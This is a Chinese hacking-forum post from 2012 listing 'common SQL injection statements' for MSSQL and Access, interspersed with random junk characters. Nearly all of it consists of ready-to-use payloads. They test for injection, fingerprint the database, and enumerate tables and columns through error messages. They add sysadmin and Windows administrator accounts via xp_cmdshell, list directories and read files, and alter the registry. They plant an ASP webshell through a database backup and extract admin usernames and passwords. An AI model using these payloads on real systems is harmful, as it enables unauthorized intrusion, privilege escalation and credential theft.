找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1947|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 6 t3 H6 L- F9 Z: N" r8 U& s
;and 1=1 1 I( v4 P' v& K
;and 1=2
1 D% b7 t7 j3 ?9 L* X- J5 f
3 Y* B; x0 M- A1 h  s, f2.初步判断是否是mssql 4 [. j( V0 r3 T7 o
;and user>0
, l+ P, W8 I$ [5 E* f. m
0 J6 Z" F9 y  g3.判断数据库系统
% u+ M' E. h! F7 e# b& S  v* j;and (select count(*) from sysobjects)>0 mssql
6 ]. z3 T8 m0 _7 a;and (select count(*) from msysobjects)>0 access 6 f) o/ K/ [! `  @/ I; K
+ L( T* w8 G" {3 S3 c' c, q
4.注入参数是字符
5 H) R: p! t1 J) S& U7 k" h'and [查询条件] and ''='
$ s/ K1 ^2 ^. w# C# I9 S3 p8 ^2 X, U* c0 q
5.搜索时没过滤参数的 . l# S4 P6 Z7 o! S
'and [查询条件] and '%25'='
: X$ n, x4 C& ~2 P7 l$ f5 V: }+ c8 E( ^6 x& B4 u
6.猜数表名
8 u5 U  n- `9 t/ j$ K: X% J;and (select Count(*) from [表名])>0 4 B6 n( p" h6 T# P# m
$ E, ], ~& L" l
7.猜字段 ' m; v: L* v- r* D/ y( {
;and (select Count(字段名) from 表名)>0 " v" ~+ v! I$ m/ q
% d' _3 A2 I3 o! m5 q
8.猜字段中记录长度
. d, ^* y) G; Z" C) S;and (select top 1 len(字段名) from 表名)>0 * }3 n/ C- G3 Z/ {; W9 a" B

- M) i! D+ H- ]1 J9.(1)猜字段的ascii值(access) - Z. Y2 l* j2 ?% k
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 " }) ~4 }& a3 z- d' b; C: D* U8 K
, }5 n7 u! q+ J
(2)猜字段的ascii值(mssql) 3 n- l% j" b, I
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
' s4 u9 y5 B  Q! Z) P. s" v  W+ e, t4 H8 k
10.测试权限结构(mssql)
( ]" T1 k4 u& J( W$ Q. K3 U;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
" q9 M: U: _2 A9 R* h0 a;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ; y; l; B7 R) q6 J3 o0 A
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
' F; n$ }5 w2 B6 _# f% f" T3 i;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
3 c7 @8 c; g. [* Z% Q9 v- {;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- " o8 B0 h/ s$ a6 _/ U# l! W* i
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 8 E7 N& q7 p3 T+ \6 ]  I1 U9 w
;and 1=(select IS_MEMBER('db_owner'));--
  z# g! X2 I, \" ^& P; x: a% n0 v8 o/ ~9 X& r2 ?* _
11.添加mssql和系统的帐户 2 M* R+ ]1 P& {1 m, ^6 E: c
;exec master.dbo.sp_addlogin username;-- 2 S! ~7 e6 N4 q. z
;exec master.dbo.sp_password null,username,password;--
3 E8 h- O- F1 J: G9 |* t;exec master.dbo.sp_addsrvrolemember sysadmin username;-- : v: r. }! N) L7 s' p
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
! D7 H6 z* T  m, d4 u1 `' t: S;exec master.dbo.xp_cmdshell 'net user username password /add';-- 5 z1 C4 u7 N3 A7 [
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
4 x  Y- R8 D) a5 o4 O
* [$ m/ m8 m. Y( L- r4 ^9 r2 l' I12.(1)遍历目录
2 F$ a1 }0 V  J7 N;create table dirs(paths varchar(100), id int) . ^; v" J; S7 I  |4 ~/ ~* }
;insert dirs exec master.dbo.xp_dirtree 'c:\'   g0 S% Q% g; T8 k4 a/ C' E
;and (select top 1 paths from dirs)>0 : o/ }( Q3 K& H- f
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ) @* }4 G* A: I) I
! K6 _* X9 \  [+ o% p: s& V/ l
(2)遍历目录 * x" N" ^9 b5 C6 @
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
: X' w; n  a2 L;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
5 T0 c% Y3 o3 _, E) M;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
; e$ H( e  S2 r2 h;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
1 |4 u3 q# D* p2 b  e; u  C4 ~3 d;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
9 c' c  d8 L" ?9 Z9 L4 o2 L  I4 M1 p, R$ |8 l' b* E  g4 C
13.mssql中的存储过程 : \) K1 n6 A0 W3 B
xp_regenumvalues 注册表根键, 子键 ; W: y! |% f: y/ }7 G0 i  q
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 8 |, l6 J  y' T1 w$ w
xp_regread 根键,子键,键值名
( B9 g7 ^9 B# };exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ( |8 h0 k- u( r
xp_regwrite 根键,子键, 值名, 值类型, 值
! ?6 B( A& i" L+ S2 ~0 A& F7 b值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
6 f% ~2 a  k$ f5 K& _8 T( };exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 " O5 Z' ^/ L2 e/ R4 p7 w/ s
xp_regdeletevalue 根键,子键,值名
* @/ H& o( i! }. Q  oexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
) V2 b4 a: h) gxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 & ]6 R3 J8 G4 ]6 C4 J8 W0 q

' r& X* o4 G) [2 [14.mssql的backup创建webshell 2 o% P% m) F$ n$ k) Z
use model , S8 _% M5 k% k* G! v, l- O
create table cmd(str image);
' {* f; L2 z5 Q7 ~# Y9 L2 jinsert into cmd(str) values ('<% Dim oScript %>');
+ _) S* }9 {' E8 E& z' {  H/ Cbackup database model to disk='c:\l.asp';
/ v; @2 J! y4 ^  `/ X" u3 e8 H4 j" ?: o  h1 P# t
15.mssql内置函数
  W) E9 J# {7 o& [4 y& @, u+ };and (select @@version)>0 获得Windows的版本号
9 R% L$ A  t$ T6 v1 w. t9 H7 s;and user_name()='dbo' 判断当前系统的连接用户是不是sa   R7 |5 n+ N0 M3 ~9 a: D/ {0 e
;and (select user_name())>0 爆当前系统的连接用户 5 b, r* g; \$ Y
;and (select db_name())>0 得到当前连接的数据库 . H* a% n7 V7 X  l
  O& u# Z. K5 O1 }% V  ]

, p- M, g7 S$ t1 C: t7 ~0 @8 `
3 M" X. \& W8 f" {! ~+ ^# ?MSSQL手注暴库- Q/ p8 L. v3 F7 g) Z4 s9 k. R! a
; v0 q3 c& }( p: Z3 p
1.暴出当前表名和列名
0 \, [- Z+ _# a3 ?1 ~在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。, x4 j' t+ V- v' E% I- `

% ?& h* g2 E5 q& G5 ^  G+ O第一.爆出所有数据库名
/ X! N, P% ~2 L/ s: }' L8 K利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。3 k4 ?% i! s) R
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。4 c( s$ M! e! u6 C- e0 W

! S/ \( |8 i' mand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名2 E. o' a2 u0 a3 N1 K$ i

1 p- n/ J9 m0 d; N6 q2 I; ]: P) p2 B" {
第二.爆出指定库中的所有表名
9 N4 t( u- j- t3 D7 m得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。& S8 q9 t# ~; r, B. W5 d
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。7 z* _# U( y: H) Q! `

9 M% Y* b2 R8 ~0 k9 j* ^- Tand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--. u) o. B& p4 N5 a# I
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
! Z. _, u; w) q  \! eand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
. h. V) q. L$ |. g5 G3 e6 S- E3 |/ V/ p* e
4.爆出指定表中的所有列名
/ y; Z: H5 F: Band 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 5 H% e; ~9 \# e
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名': Y: j1 Y4 O* _

8 W3 D" ]# k4 E) e! A: F' f, Aand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名: a) s; f6 E- F
' ]$ k4 d9 B$ F/ [, S; I  s. m9 g! \
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
1 |( h1 P) g) q( W  Q依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。6 m- f' M% m6 s( I4 u% Z

) u! P' g" v- S1 T
5 a$ v2 L2 ~" r8 L8 e" cand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
" g) K& b* \0 D3 T  l9 b! {$ T% i. {
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名7 x$ {* @( n# J* a6 V

4 F( y& O9 e' l- d: Y2 V( o. Wand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 9 K. V. T8 _1 h  _( i; H
8 x6 u) a) e' j# W7 A
' O+ l5 ]  }- _5 C% s4 ?( D

+ o9 S) G: `4 I& V  r) G5.读取指定表中的数据. a% q# c! y9 |' u3 m5 N& ^! L( z
, T3 q- G7 y: C
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
& i  R# |/ x+ [+ E) O, c2 q% X1 z* d( V1 o: j9 W( f1 G0 }
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--" J" I1 i5 K, W9 H) J
: V/ B2 E$ y! m% [: J) k. I! J& [/ K
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
: B4 M1 t7 K( e' c3 ?( s$ _! j4 g9 Q! G$ o

. W2 B! n' B8 C4 N/ xand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)! |/ ?* [, v' k1 u5 S

# X' n. k3 }0 U9 u$ N' R! M* ]and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang), ~( G& l! |- I2 |, ?
. Y. y" s7 F- x0 O! C
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--( ~4 ^: b* ]! z; s) M# B( ^

; b! C! r/ _" `8 a知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。+ E& B8 W8 v; N8 ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表